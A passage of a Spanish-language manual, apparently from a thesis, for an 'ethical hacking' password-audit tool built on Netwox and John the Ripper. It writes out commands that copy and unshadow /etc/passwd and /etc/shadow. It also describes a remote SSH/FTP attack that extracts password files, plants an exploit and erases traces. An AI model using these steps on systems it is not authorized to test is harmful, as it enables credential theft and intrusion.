para todas las demás instalaciones de paquetes que se realicen, se deberá
ser un superusuario (root) y verificar que los archivos tengan los respectivos
permisos de ejecución.
Al darle doble click se abre una ventana de instalación al puro estilo
Windows, y se procede a instalar de una manera fácil y rápida.
Desde una consola de texto se procederá a rutearse a donde se encuentre el
archivo, para luego ejecutar el ya conocido rpm:
[root@seminario~] cd /root/hacking_etico/utilitarios --> la ruta completa en
donde reside el programa y los utilitarios del proyecto
[root@seminario~]rpm -hiv jdk-1_5_0_11-nb-5_5-linux-ml.bin--> instalación
del paquete
Si el rpm falla, se recomienda bajar el rpm de la aplicación o el paquete tar
correspondiente a la aplicación aquí descrita.
33
Estos paquetes, los binarios y el código fuente de los paquetes se los puede
conseguir de:
http://www.java.sun.com
http://www.netbeans.org
De las cuales se bajarán los paquetes correspondientes para la instalación.
Nota: si se cuenta ya con una versión instalada de NetBeans inferior a la
actual, se deberá actualizar el jdk a la versión jdk-1.5-11 o superior para que
el proyecto pueda funcionar. En el NetBeans 5.5 ya viene incluido todo.
Una vez instalado el IDE de java, procedemos a la instalación de los demás
paquetes que vienen con el cd del proyecto:
• De la carpeta Netwox que se encuentra en utilitarios instalamos el
Netwag y el Netwig para posteriormente instalar el Netwox, el resto de
paquetes son manuales de ayuda sobre la herramienta.
• Descomprimimos los archivos, y nos ayudamos con el archivo
INSTALL que viene en cada paquete.
• Instalaremos primero el Netwig, luego el Netwag y al final el Netwox,
cualquier dependencia de paquetes se lo puede hallar los mismos en
los cds de distribución de Fedora Core.
34
• Comprobemos que Netwox funciona digitando en una consola de
texto:
[root@seminario~] netwox
Nos saldrá lo siguiente:
######################## MAIN MENU #########################
0 - leave netwox
3 - search tools
4 - display help of one tool
5 - run a tool selecting parameters on command line
6 - run a tool selecting parameters from keyboard
a + information
b + network protocol
c + application protocol
d + sniff (capture network packets)
e + spoof (create and send packets)
f + record (file containing captured packets)
g + client
h + server
i + ping (check if a computer if reachable)
j + traceroute (obtain list of gateways)
k + scan (computer and port discovery)
l + network audit
m + brute force (check if passwords are weak)
n + remote administration
o + tools not related to network
Select a node (key in 03456abcdefghijklmno): 0
35
Si pudimos ver la pantalla anterior, está bien instalada la herramienta, que es
la que nos va a dar la “mano” para poder hacer la auditoria de los passwords
de una maquina remota.
Con la primera herramienta funcionando, procedemos con lo siguiente:
Procedemos a instalar la herramienta de ataque John_the_ripper del paquete
llamado john-1.7.2.tar.gz que se encuentra en la carpeta utilitarios del
proyecto. El cracker se entrega ya con los ejecutables listos para funcionar,
pero en el caso de que no funcionen, se necesita crearlos de nuevo para
poder usar el programa.
Hagamos una prueba sencilla:
A modo de prueba, copie Ud. sus archivos de passwords que se encuentran
en:
/etc-->
[root@seminario~] cp /etc/passwd /root/hacking_etico/utilitarios/john-1.7.2/run
// el archivo de passwords del sistema
[root@seminario~]cp /etc/shadow /root/hacking_etico/utilitarios/john-1.7.2/run
// si los archivos están en modo shadow
36
Y estando ya en la ruta respectiva, ejecute los siguientes pasos:
[root@seminario~] cd /root/hacking_etico/utilitarios/john-1.7.2/run
[root@seminario~] umask 077
[root@seminario~] unshadow /root/hacking_etico/utilitarios/john-
1.7.2/run/passwd /root/hacking_etico/utilitarios/john-1.7.2/run/shadow >
analizar
(analizar es un nombre cualquiera, puede colocar el que desee, es el archivo
a donde se van a colocar el archivo de password y unshadow ( con su código
de encriptación visible )
[root@seminario~]./john analizar (o el nombre del archivo que le haya
puesto)
Luego de esto, el analizador empieza el proceso de escaneo de claves del
archivo, en caso de fallar el rastreo, se deberá hacer una instalación del
John_the_ripper en la maquina local, siguiendo los pasos que se detallan en
el documento INSTALL del paquete, para luego, una vez obtenidos los
ejecutables que genero la instalación, copiarlos a la dirección de la carpeta
John_the_ripper de mi proyecto. A modo general se evitará hacer esto último,
ya que en la mayoría de los casos, con los ejecutables entregados y ya
compilados para trabajar, bastará para poder trabajar con el programa.
37
Si falla la ejecución del ripper con la prueba antes mencionada, se deberá
también tener en cuenta lo siguiente:
Los ejecutables del proyecto se los ejecuta anteponiendo el ./, ejemplo:
./ejecutate
Copie el contenido de la carpeta john del cd a la ruta
/root/hacking_etico/utilitarios/ de la maquina local, y asegurarse que los
ejecutables de la carpeta tengan permisos de ejecución.
Si la prueba tuvo éxito, ya podemos proceder a utilizar el programa.
Además, podemos proceder a instalar las herramientas opcionales del
proyecto:
Instalación de Wine
Una herramienta muy interesante es wine, el cual me permite ejecutar
archivos del tipo archivo.exe y archivo.com en mi Linux. Esto es, se puede
instalar cualquier o casi cualquier ejecutable .exe en la maquina. En el
apartado trucos y tips se menciona una ventaja de esto, como se lo puede
aprovechar para nuestros propósitos de la auditoria de passwords.
38
Se instala desde el paquete proporcionado en el proyecto:
wine-0.9.27.tar.bz2
Descomprimiendo el paquete y siguiendo los pasos de instalación del archivo
INSTALL de la aplicación.
Si se necesitan paquetes adicionales, se los encuentra fácilmente en los cd's
de la distribución de Fedora Core 5.0.
La instalación demora 1 a 2 horas en promedio, no afecta en nada a las
seguridades del equipo, ya que con este tipo de instalación se podrán
ejecutar solo ciertos archivos, además esto estará monitorizado y controlado
siempre por el administrador del sistema.
Si la instalación tuvo éxito, se puede instalar como programas de ayuda
opcionales:
• winscp382setupintl2.exe
• putty.exe
El primero es un manager de conexiones remotas vía SSH y el segundo es el
ya conocido putty de windows, el cual también me permite establecer
conexiones remotas con otros equipos.
39
Las funcionalidades de estas herramientas y sus posibles usos se explicarán
en el apartado de cómo funciona el proyecto, y en trucos y tips del proyecto.
En este punto vale la pena advertir de nuevo: “Las herramientas aquí
entregadas son solo con fines de auditoria y pruebas didácticas, no se
deberá hacer un mal uso de las mismas, siempre se deberá hacer bajo la
supervisión del administrador del sistema, bajo ningún concepto podrá ser
usado con fines que no sean para los cuales fue creado...”
Otro punto importante: los scripts que se encuentran en el programa NO
deberán ser ejecutados sino es desde el mismo programa en java, no se
deben ejecutar de modo individual, a menos que se indique lo contrario. La
ejecución de uno o más de estos scripts sin haber leído al pie de la letra este
manual, podría perjudicar gravemente el equipo en donde se está ejecutando
el programa, con lo cual, su uso está limitado solo en máquinas las cuales no
tengan servicios importantes configurados.
Así mismo, estos scripts no deberán ser usados con fines que no sean los
indicados en este manual, solo se los usará con fines didácticos y de
auditoria, quedando en criterio del administrador su uso para otros fines.
40
Con estos puntos claros, empezaremos a detallar el uso y funcionamiento de
los procesos del programa, de los scripts ejecutados y las herramientas que
se estén usando en el mismo.
Nuestro proyecto, una vez configurado correctamente todo lo anteriormente
mencionado, se lo puede ejecutar desde una consola de texto:
[root@seminario~] java -jar hacking-etico.jar
El archivo hacking-etico.jar se encuentra en la carpeta hacking-etico del
proyecto, este archivo deberá residir en la ruta--> /root al igual que la carpeta
hacking-etico original.
Si se desea editar el proyecto, se facilita el código fuente, se deberá abrir en
una consola gráfica, el IDE de desarrollo de NetBeans que se encuentra en
la barra de menú.
A continuación detallamos el uso y la composición de los procesos del
sistema en conjunto.
CAPITULO III
Pantallas Principales del Proyecto
Al arrancar el proyecto se abre la siguiente ventana, la cual nos sirve para
realizar la autenticación al sistema. Se permiten máximo 3 intentos, sino se
denegará el acceso, la cual tiene la siguiente presentación:
Pantalla Ingreso de la Clave
Gráfico No. 22 Pantalla Ingreso
Pantalla de autenticación del administrador del Sistema
Se puede apreciar en la ventana, la parte en la cual se ingresan los datos, el
nombre de usuario y la clave de acceso. Los valores para acceder por
defecto son:
user : hacker
passwd : cisc@seminario
42
Se pueden ver 3 botones, el de autenticación permite mandar los datos del
usuario y password a la base del sistema, para validar o no el ingreso de
usuario, el botón limpiar me permite borrar los datos ingresados en las cajas
de texto, y el botón salir, me permite dar de baja el programa.
También existe un menú en la parte superior de la pantalla, el cual me
permite visualizar los créditos del programa, y también el menú para salir de
la ejecución del programa.
Si tuvimos éxito en la autenticación veremos el siguiente cuadro de
bienvenida:
Gráfico No. 23 Pantalla de Bienvenida
Después de que la autenticación es un éxito presenta esta pantalla
Si no fue así, el programa se dejara de ejecutar, y habrá que reiniciar de
nuevo todo. Después de esto, se podrá ver la pantalla principal de programa.
43
Pantalla Principal del Programa
Gráfico No. 24 Pantalla Principal
Nos muestra los aplicativos del programa
En la siguiente pantalla, se podrá apreciar al lado izquierdo del usuario, un
grupo de botones, los cuales me permitirán manejar todos los aplicativos del
programa, a los cuales se puede acceder también por medio del menú que
se encuentra en la parte superior de la misma.
Las funcionalidades de los botones y el menú se explican a continuación:
SCAN.- Será el primer botón que debamos utilizar, es el que me permitirá
abrir un módulo para el escaneo de ips y puertos de la IP o ips activas de la
red, para censar posibles máquinas a ser auditadas.
44
REPORTES.- Me permite visualizar los reportes de los datos obtenidos del
análisis actual o de análisis anteriores que se hayan realizado.
ESTADÍSTICAS.- Me permite obtener las estadísticas que pueda generar el
sistema con los datos que posea actualmente o con datos que estén
guardados en la base de datos.
AYUDA.- Se despliega la ayuda contextual, ya sea la ayuda general o la
ayuda sobre una pantalla en especial..
ACERCA_DE.- Los créditos del programa, es decir, los realizadores del
mismo...Al editar el programa no olvidar colocar a los autores originales del
mismo. Programa lanzado bajo licencia GPL.
SALIR.- En cualquier lado que aparezca esta etiqueta, es la opción de salida
del sistema.
Los iconos del menú tienen la misma funcionalidad, se los explicará con
detalle más adelante.
Lo primero que deberíamos hacer es presionar el botón de scan para
arrancar con el uso del programa, entonces, una vez hecho esto, se nos
desplegará la siguiente pantalla:
45
Pantalla de Scan de IP y Puertos
Gráfico No. 25 Pantalla de Scan de IP y Puertos
Pantalla para scanear la red y verificar puertos abiertos
Esta es la primera pantalla de funcionalidad del proyecto, es decir, es una
ventana de la cual ya podemos obtener datos importantes. La explicación de
su uso a continuación:
Podemos ver que contiene el mismo menú contextual de la pantalla anterior,
el cual tiene la misma funcionalidad en esta y en todas las demás pantallas
que aparezca, con sus respectivos items anulados, ya que en algunos casos,
no nos interesa usar toda la funcionalidad sobre una pantalla en especial.
Como vemos, en la parte izquierda de la pantalla se puede ver un monitor, el
cual me va a mostrar en primer caso las ips activas de la red, y más abajo,
los puertos abiertos para una IP que se haya escogido.
46
En el lado derecho de la pantalla del usuario, se podrá ver dos bloques de
cuadros de texto, los cuales me mostrarán todo lo que vaya pasando en el
transcurso de la ejecución del programa, un log el cual nos permitirá ver
todos los procesos y cosas que se están ejecutando por debajo del
programa.
Los resultados de la ejecución de esta y todas las demás ventanas, se lo
puede ver por medio de una ventana DOS del sistema, por lo general la que
se esté ejecutando conjunto con el proyecto.
La funcionalidad es la siguiente:
Debemos presionar primero el botón de scan_ip, este botón manda la orden
al modulo interno para que empiece a scanear las ips activas del sistema.
Nosotros no necesitamos indicarle ninguna IP ni nada. El sistema es capaz
de reconocer bajo que red se está trabajando, y automáticamente empieza a
escanear ips activas dentro del rango de la IP donde se esté trabajando.
Una vez obtenido el resultado, si existen ips activas en la red, se llenará el
cuadro correspondiente a las ips que se encuentren activas. Después de
esto, se deberá escoger una de ellas, para empezar a rastrear que puertos
tiene abiertos, en este caso en particular, nos interesa que el puerto 21 y 22
estén abiertos, los cuales corresponden a los servicios Ftp y SSH.
47
Cuando aplastamos el botón scan_puertos, el sistema procede de manera
automática al rastreo de puertos abiertos sobre determinada ip, si no hemos
seleccionado ninguna dirección ip, el sistema nos muestra el mensaje de
error correspondiente.
El segundo cuadro de texto entonces. Se llenara con la información de los
puertos activos que tenga dicha ip. Esta comprobación nos puede servir
después para determinar si el exploit que hemos enviado durante el primer
ataque nos dejo el puerto activo, para poder hacer una auditoria posterior.
Los bloques de la derecha son los mensajes log, lo que está ocurriendo en
mi maquina, durante el transcurso del escaneo, en el cual se puede ver
información detallada de todos los eventos que están ocurriendo mientras se
realiza determinada operación.
Por último, en la parte inferior de la pantalla tenemos un grupo de botones,
los cuales describo a continuación:
LIMPIAR.- Botón que me permite borrar todos los datos desplegados en los
diferentes elementos de la pantalla, y llevar el sistema a un estado inicial
(reset).
48
HACKEO.- Si el rastreo de puertos tuvo éxito, se activará este botón, en
caso contrario, se mantendrá inactivo, este botón me llevara a la consola en
donde puedo escoger los diversos tipos de ataque de auditoria que posee el
sistema.
Para modos de demostración didáctica se ha habilitado el ataque ssh_ftp
completo.
Recordar: el programa así como sus componentes y scripts de ejecución
son solo para uso didáctico y de demostración. No utilizar con otros fines
que no sean para los que fue creado el programa.
RETORNO PRINCIPAL.- Es un botón que me permite retornar a la pantalla
principal del proyecto, en el caso de que la pantalla haya dado algún tipo de
error. Se explica esto con más detalle en el manual técnico.
GUARDAR.- Guardar logs sobre los eventos que han ocurrido durante el
escaneo. Son archivos planos de registro, los cuales pueden ser consultados
en lo posterior (aun no implementado, como opcional)
La pantalla completa funcionando se puede apreciar a continuación:
49
Gráfico No. 26 Pantalla de Scan de IP y Puertos
Al finalizar el escaneo nos muestra la IP y puertos obtenidos
Si tuvimos éxito en los pasos anteriores, se deberá presionar el botón de
hackeo, el cual nos llevará a la siguiente consola:
Gráfico No. 27 Pantalla de Ejecución de ataques
Nos muestra los distintos ataques a realizar
50
En esta pantalla se encuentran las diferentes opciones de ataque que yo
puedo escoger, (en este caso particular será el botón Ataque combinado).
Cuenta con un menú el cual es estándar en todo el programa, con la misma
funcionalidad en todas las pantallas, además de los botones de las opciones
que me permitirán ejecutar el ataque.
Una vez conocida la IP y el puerto activo, procedemos a ejecutar el ataque,
según sea nuestra posibilidad.
Después de haber escogido la opción de ataque, se nos desplegará una
pantalla como la que sigue a continuación:
Gráfico No. 28 Ataque Ftp – Ssh
Este ataque accede a la maquina remota
51
La pantalla anterior consta de los siguientes elementos que describo a
continuación:
Se ejecutará las primeras opciones habilitadas de la pantalla, que es el botón
de ataque de autenticación remota, el cual, a través de un ataque remoto,
buscará ganar acceso a la maquina remota, por medio del puerto 22 Ssh, en
conjunto con un ataque combinado ftp (Explicación a fondo más detallada
en el manual técnico)
El botón stop me permitirá detener el ataque, en caso de que esta haya caído
en error o este demorando más de lo esperado.
En el cuadro de texto ubicado abajo de los botones, se desplegará toda la
información a manera de reporte de que es lo que está ocurriendo con el
desarrollo del ataque (sea como fuere, se puede ver esto también en la
consola terminal donde se esté ejecutando el proyecto).
En cada realización de los pasos del ataque de auditoria, la pantalla sufre
una congelación, esto es normal en el programa, ya que está usando muchos
recursos del sistema, la respuesta en tiempo real se la puede revisar en una
consola terminal, una vez que el proceso ha liberado los recursos, devuelve
el control al programa principal.
52
Si se logró autenticación con éxito, después de haber realizado el ataque se
habilitará el botón de extracción de archivo del password, que es lo único que
necesitamos para obtener los passwords del sistema.
Aquí vale hacer una aclaración importante: Solo se hace los ataques con
fines de auditoria solamente y siempre bajo la supervisión del
administrador o encargado del departamento de sistemas o de la
red...bajo ningún concepto se realizará otro tipo de actividad con el
programa, ni con las claves obtenidas, el resultado de la auditoria solo será
de conocimiento del administrador, pudiendo el administrarla como más le
convenga. Solo se implementará un ataque de exploit con fines
educativos... el sistema, una vez terminada la auditoria, deberá retornar a su
estado normal. Solo el administrador conocerá el modo completo de
operación del sistema, además será el encargado, una vez conociendo cómo
funciona el exploit remoto (detallado en el manual técnico) de eliminar los
rastros del ataque remoto, borrando y reconfigurando los archivos
respectivos (ver el manual técnico de ayuda).
El uso de esta herramienta está limitado solo a administradores del sistema,
los cuales, una vez implementada la auditoria, se hacen responsables por los
resultados obtenidos de la misma, y de las consecuencias que esto pueda
traer.
53
El fin principal de esto es implementar un sistema de passwords seguros, con
lo cual, el sistema, va a tener mayor protección contra ataques de cualquier
índole sobre esto tópico.
Cuando tengo ya el primer ataque implementado, se procederá a realizar la
extracción remota de los archivos y a colocar el exploit remoto de
autenticación. Aplastando el botón en la parte de extracción del archivo
passwd.
En este caso, se procederá a la extracción de los siguientes archivos:
Los principales del sistema que están en la ruta /etc/passwd y /etc/shadow
(en el caso de que los archivos sean tipo shadow)
Los archivos de los usuarios SAMBA (si los hubiere) radicados en
/etc/samba/smbpasswd
Los archivos de los usuarios SQUID (si los hubiere) --> se deberá tener una
idea de donde está radicado el archivo.
Un ejemplo de esto es que pueden estar en /etc/squid/passwords o en
cualquier otro sitio según sea las políticas de configuración o de quien lo
haya hecho. En tal caso se puede obtener esta información del administrador
del sistema, la ruta exacta de donde radica este archivo, en el caso de que
squid no tenga las configuraciones por defecto.
54
El botón stop tiene la misma funcionalidad como en el paso anterior.
La pantalla de texto ubicada abajo de estos botones sirve para mostrar cómo
se va desarrollando el ataque, esto igual se lo puede visualizar en la pantalla
terminal de donde se esté ejecutando el proyecto.
Si se tuvo éxito con la extracción de los archivos (en un 90% de los casos
hay éxito), se procederá de inmediato a “romper “las claves que se
encuentren en los diferentes archivos, con el uso de herramientas de
cracking de passwords.
Este es el proceso que más tiempo toma realizar, puede demorar muchas
horas, días o años dependiendo de la fortaleza de los passwords, entonces,
el programa tendrá un tiempo prudencial de ejecución, si no se pudieron
romper las claves después de cierto tiempo, se deberá concluir que las
claves que no han sido encontradas son fuertes y aptas para trabajar en el
sistema.
El programa sufrirá una congelación la cual puede inquietar un poco, esta
reacción es normal ya que el programa está utilizando, y en este paso más
que en otros, recursos del sistema. Con lo cual puede mostrar un
comportamiento un poco inestable. Se recomienda mientras se está
ejecutando esta parte de la auditoria, no ejecutar ningún otro programa para
no quitarle recursos al auditor de passwords.
55
Si se pudo desencriptar todos los passwords, la pantalla terminará su
ejecución mostrando todos los passwords encontrados, de los diferentes
servicios. Esta información se despliega en la pantalla de texto colocada
abajo de estos botones.
Si todo va bien, se activará el botón de análisis, con el cual empezaremos a
evaluar cada uno de los passwords obtenidos, su nivel de seguridad y su
caducidad.
El modulo final es para chequear si hay conexión con la maquina remota, en
el caso de que por alguna razón haya fallado algún paso anterior.
Los tres botones de la parte inferior izquierda de la pantalla son para la
administración de los resultados. Se cuenta con un botón para guardar el Log
de todo lo ocurrido en esta pantalla, el botón de ayuda que desplegará la
ayuda contextual sobre esta pantalla, y un botón que me permitirá retornar a
la pantalla anterior.
Si hay al menos un password que analizar, se activará el botón de análisis el
cual me despliega la siguiente pantalla:
56
Gráfico No. 29 Pantalla Paramentos de análisis
Permite ingresar los porcentajes de niveles de seguridad
Antes de ingresar a la pantalla del análisis, se verá esta, la cual me permite
ingresar los parámetros a los cuales yo voy a someter el análisis.
Como se puede apreciar, se verá unos cuadros de texto, en los cuales se
deberá ingresar el % de evaluación de los passwords. Esto se explica de la
siguiente forma:
Para una persona en particular, un password “seguro “puede estar pasando
un 50% del análisis, pero para otra puede ser un 70% o más arriba. El fin de
esto es colocar los parámetros de seguridad que el usuario considere sean
los rangos de análisis, ya que en ciertas computadoras puede que no se exija
un nivel elevado de seguridad de las claves, pero en otras, como el caso de
servidores, puede que así se requiera.
57
En los cuadros de texto mencionados anteriormente se colocarán dichos
valores, los cuales se ingresarán los % de acuerdo a ciertas reglas de
validación:
• La suma total de ellos no deberá pasar el 100% sino no se podrá acceder
a la siguiente pantalla
• Los porcentajes van en escala, El alto debe ser el mayor de todos, el
medio no puede ser menor que el bajo, y así por el estilo. En tal caso si
hay algún dato mal ingresado, el programa se encargará de avisar al
usuario sobre lo acontecido.
• No se ingresarán campos vacíos. El programa valida el ingreso de
campos con un valor minino de 0%
• No se ingresarán campos con valores negativos. Esto ya lo valida el
programa.
• No se ingresarán nada más que números. Y los mismos, serán de
máximo 2 dígitos. Esto lo valida el programa.
• Se deberá ingresar una fecha, la cual indica los días de vigencia de los
passwords, será en días obligadamente, y tendrá una longitud de 2
dígitos. Las validaciones anteriores se aplican igual en el campo fecha.
Si se han ingresado los datos correctamente, se procederá a presionar el
botón de aceptar para enviar los datos, si se han enviado correctamente
pasamos a la siguiente pantalla, sino saldrá el respectivo mensaje de error.
58
El botón limpiar borra todos los datos de la pantalla y la deja en un estado
inicial (reset), el botón salir para dejar de ejecutar el programa.
La pantalla que sigue, se la muestra a continuación:
Gráfico No. 30 Resultado de análisis
Nos permite visualizar los usuarios y claves encontradas
así como el nivel de seguridad de la clave
En la pantalla anterior se puede observar en la parte superior el típico menú
de opciones el cual es Standard en todo el sistema, con las opciones
explicadas ya anteriormente.
En la parte superior cuenta con una pantalla de texto tipo reporte, en la cual
se desplegará todo los resultados del análisis, con mayor detalle.
59
Información de cómo está estructurado el password, su longitud, cuantas
mayúsculas, números, especiales posee, si es una palabra de diccionario, si
está o no caducado, además de saber su código del cual se lo descifró, y a
que usuario pertenece.
En la parte media de la pantalla se muestra una tabla, en la cual se podrán
ver los datos explicados anteriormente, en modo resumen, para poder
después guardarlos en la base de datos. En la parte inferior se pueden
visualizar un conjunto de botones los cuales describo a continuación:
RESULTADOS.- Para empezar la ejecución del análisis, y obtener los
resultados en las respectivas pantallas.
GUARDAR.- Para guardar los datos en la base de datos, si no ha ocurrido
ningún error durante el análisis.
SALIR.- Salida del sistema.
Luego de haber ejecutado esta parte, podremos visualizar un reporte acerca
de todo lo que se ha logrado analizar y los datos que se han obtenido. Esto
se lo puede hacer en cualquier momento, en la parte superior del menú en la
opción reportes, el cual desplegará una pantalla como la que sigue:
60
Gráfico No. 31 Pantalla Reporte del Sistema
Nos presenta los datos obtenidos de una consulta
En la parte superior de la misma, el menú del sistema, en la parte de arriba
de la forma, se podrá ver una tabla de datos, la cual me permitirá mostrar los
datos obtenidos de la consulta a la base de datos del sistema. En la parte de
abajo de la tabla, se encuentra un grupo de botones, los cuales tienen la
siguiente funcionalidad:
ESTADÍSTICA.- Me genera la pantalla para poder visualizar los reportes en
modo gráfico.
%SEGURIDAD.- Me muestra los resultados de la consulta según el nivel de
seguridad (alto, medio, bajo)
El sistema solo acepta consultas del tipo “alto, medio, bajo “, cualquier otra
cosa ingresada en la caja, no validará la opción de consulta.
61
Los datos de consulta se ingresan al sistema por medio de cajas de texto
input, como ejemplo la que sigue:
Gráfico No. 32 Consulta
Solicitud de IP que se desea consultar
En el cual, en esta caso, se deberá ingresar la fecha en la cual se haya
realizado el análisis, como ejemplo en esta caso, queremos ver el reporte del
día de hoy que se ejecuto el análisis. La fecha tiene el formato dd/mm/yyyy y
el sistema no acepta otro tipo de formato.
Si se obtuvo éxito con la consulta muestra el siguiente mensaje:
Gráfico No. 33 Mensaje
Visualización de mensaje después de consulta exitosa
62
POR FECHA.- Se consultará los datos por la fecha en que ingresaron al
sistema. El formato es dd/mm/yyyy ejemplo: 12/1/2007 o 12/10/2007,
cualquier otro formato, el sistema no realizará la consulta.
TODOS.- Es la consulta general, muestra todos los registros del sistema.
VIGENCIA.- Se consulta pro medio del estado de vigencia del password
(vigente, expirado), no acepta otro tipo de consulta.
IP.- Se realizará la consulta por medio de la IP de la maquina auditada, se
deberá ingresar la IP como ejemplo: 192.168.10.100 sea de tipo A, B, o C. Si
se ingresa otra cosa dará error y no se podrá realizar la consulta. Podemos
ver también reportes tipo gráficos estadísticos de los resultados de las
auditorias, para una visión más cómoda de los datos, la ventana que permite
esto se la ve a continuación:
Gráfico No. 34 Generación Estadística
Permite realizar gráficos tipo barras o pastel
63
En la cual yo puedo escoger el tipo de estadística que deseo ver, además del
tipo de gráfico. Los valores de consulta se ingresan en inputs como se lo
explico anteriormente. Los gráficos que se generan son de tipo barra y
pastel, un ejemplo de gráfico se muestra a continuación:
Gráfico No. 35 Gráfico tipo Pastel y tipo barra
Tipo de gráficos que son presentados en el reporte
Los gráficos se pueden ver de modo general (todos los datos de la base de
datos) o se manda a buscar bajo un criterio de consulta. Ejemplo. Mostrar
los porcentajes de passwords (alto-medio-bajo) de una IP en particular. Para
lo cual se seleccionará el botón en la pantalla que ejecute la opción, se
ingresará la IP a consultar, y si existen los datos, mostrará los gráficos como
se los ve arriba de ejemplo.
Las consultas que se pueden hacer son por IP o consultas generales de toda
la Lan, por los porcentajes de seguridad de los passwords (alto-medio-bajo) y
por vigencia (vigentes-expirados), igual sea por IP o estadística general.
64
Se presenta a continuación las pantallas restantes del sistema:
Créditos
La ventana en la cual se ven los autores del programa.
Gráfico No. 36 Pantalla de Crédito
Presenta los autores del programa
Salir
La pantalla que controla la salida del sistema
Gráfico No. 37 pantalla de Salida
Muestra una pregunta para asegurar que desea salir
CAPITULO IV
Manual Técnico
En esta parte del proyecto se para una detallada explicación acerca del
funcionamiento del proyecto incluyendo todos los procesos principales y
subprocesos que estén asociados.
Se explica cómo los procesos están asociados unos con otros, para que su
modificación se pueda realizar de la manera más fácil, además de la
configuración de la base de datos, de un modo sencillo, de tal forma que si
se desea usar otro tipo de base de datos aparte de la proporcionada, se lo
realice de un modo sencillo y práctico.
El diseño de clases implementado respeta el esquema de herencia básico
que usa el lenguaje de programación, recordar que seguimos una
metodología de diseño no orientada a objetos, pero hay que considerar que
se está usando el lenguaje de alto nivel java, en el cual necesariamente se
aplica herencia, pero es mínima.
La modificación del código original queda bajo responsabilidad del
administrador del programa. Para su uso posterior.
66
Diccionario de datos.
Para el desarrollo de nuestra base de datos vamos a utilizar el Modelo
conocido como entidad relación (DER), y nuestra base de datos está
compuesta por las siguientes tablas.
Nombre de la tabla: IP
Entidad que permitirá manejar todos los datos con respecto a las ips
capturadas del sistema, cuando se realice la respectiva inserción de datos.
Atributos de ip:
• id_ip
• dirección
• fecha
• hora
Nombre_campo : id_ip
Alias: id_ip_pk (nombre del constraint que identifica a la clave primaria)
Descripción: Identificador de la tabla de dirección ip
Valores por defecto: ninguno
Tipo: serial (Auto numérico)
Siempre va a tener un valor
Nombre_campo : dirección
Alias: ninguno
Descripción: valor de la dirección IP capturada del sistema
Valores por defecto: null
Tipo: varchar 20
Siempre va a tener un valor
67
Nombre_campo : fecha
Alias: ninguno
Descripción: la fecha capturada y registrada del sistema
Valores por defecto: null
Tipo: date
Siempre va a tener un valor
Nombre_campo : hora
Alias: ninguno
Descripción: la hora capturada y registrada del sistema
Valores por defecto: null
Tipo: date
Puede o no registrar un valor. No es obligatorio
Nombre de la tabla: puerto
Entidad que nos permitirá manejar todos los puertos de las respectivas ips
capturadas por el programa. Si hay una IP activa y se le puede escanear los
puertos, se llevará un registro de los mismos.
Atributos de puerto:
• id_puerto
• num_puerto
• estado
• servicio
• observación
68
Nombre_campo : id_puerto
Alias: id_puerto_pk (nombre del constraint que identifica a la clave primaria)
Descripción: clave primaria de la tabla puerto
Valores por defecto: ninguno
Tipo: serial (Auto numérico)
Siempre va a tener un valor, es un campo indexado
Nombre_campo : num_puerto
Alias: ninguno
Descripción: registro de los números de los puertos de la IP activa que haya
registrado el sistema
Valores por defecto: null
Tipo: varchar 10
Puede o no tener un valor.
Nombre_campo : estado
Alias: ninguno
Descripción: identificador de estado del puerto (activo, inactivo)
Valores por defecto: inactivo
Tipo: varchar 10
Siempre va a tener un valor
Nombre_campo : servicio
Alias: ninguno
Descripción: nombre de servicio Linux asociado al número de puerto
Valores por defecto: null
Tipo: varchar 10
Puede o no tener un valor
69
Nombre_campo : observación
Alias: ninguno
Descripción: datos adicionales sobre la tabla puertos
Valores por defecto: ninguno
Tipo: varchar 500
Campo no obligatorio
Nombre de la tabla: ip_puerto
Entidad que nos permitirá romper la relación muchos a muchos existentes
entre las tablas IP y puerto
Atributos de ip_puerto
• id_puerto
• id_ip
Nombre_campo : id_puerto
Alias: id_puerto_fk (nombre del constraint que identifica a la clave foránea)
Descripción: clave foránea de la tabla puerto
Valores por defecto: ninguno
Tipo: serial (Auto numérico)
Siempre va a tener un valor, es un campo indexado
Nombre_campo : id_ip
Alias: id_ip_fk (nombre del constraint que identifica a la clave foránea)
Descripción: clave foránea de la tabla ip
Valores por defecto: ninguno
Tipo: serial (Auto numérico)
Siempre va a tener un valor, es un campo indexado
70
Nombre de la tabla: usuario
Entidad que nos permitirá almacenar todos los usuarios que estén asociados
a una ip, haciendo un registro de los datos principales.
Atributos de usuario
• id_usuario
• id_ip
• nombre_usuario
• tipo_usuario
• observación
Nombre_campo : id_usuario
Alias: id_usuario_pk (nombre del constraint que identifica a la clave primaria)
Descripción: clave primaria de la tabla usuario
Valores por defecto: ninguno
Tipo: serial (Auto numérico)
Siempre va a tener un valor, es un campo indexado
Nombre_campo : id_ip
Alias: id_ip_fk (nombre del constraint que identifica a la clave foránea)
Descripción: clave foránea de la tabla usuario
Valores por defecto: ninguno
Tipo: serial (Auto numérico)
Siempre va a tener un valor, es un campo indexado
Nombre_campo : nombre_usuario
Alias: ninguno
Descripción: registro del nombre del usuario
71
Valores por defecto: null
Tipo: varchar 100
Puede o no tener un valor.
Nombre_campo : tipo_usuario
Alias: ninguno
Descripción: registro del servicio que está registrado en la maquina sobre
un usuario en particular
Valores por defecto: null
Tipo: varchar 100
Puede o no tener un valor.
Nombre_campo : observación
Alias: ninguno
Descripción: datos adicionales sobre la tabla usuario
Valores por defecto: null
Tipo: varchar 500
Campo no obligatorio
Nombre de la tabla: password
Entidad que nos permitirá almacenar todos los passwords que hayan podido
ser analizados de los respectivos archivos. El password está asociado con un
solo usuario. Se llevarán los registros por cada análisis que se realice.
Atributos de password
• id_password
• id_usuario
• password
72
• cod_hash
• servicio
• fecha
• hora
• análisis
• %_seguridad
• Observación
Nombre_campo : id_password
Alias: id_passwd_fk (nombre del constraint que identifica a la clave primaria)
Descripción: clave primaria de la tabla password
Valores por defecto: ninguno
Tipo: serial (Auto numérico)
Siempre va a tener un valor, es un campo indexado
Nombre_campo : id_usuario
Alias: id_usuario_fk (nombre del constraint que identifica a la clave foránea)
Descripción: clave foránea de la tabla password
Valores por defecto: ninguno
Tipo: serial (Auto numérico)
Siempre va a tener un valor, es un campo indexado
Nombre_campo : password
Alias: ninguno
Descripción: el password capturado del análisis del sistema
Valores por defecto: null
Tipo: varchar 100
Puede o no tener un valor
73
Nombre_campo : cod_hash
Alias: ninguno
Descripción: el respectivo código encriptado original del password analizado
Valores por defecto: null
Tipo: varchar 100
Puede o no tener un valor
Nombre_campo : servicio
Alias: ninguno
Descripción: el servicio asociado con el password capturado, según el tipo
de usuario.
Valores por defecto: null
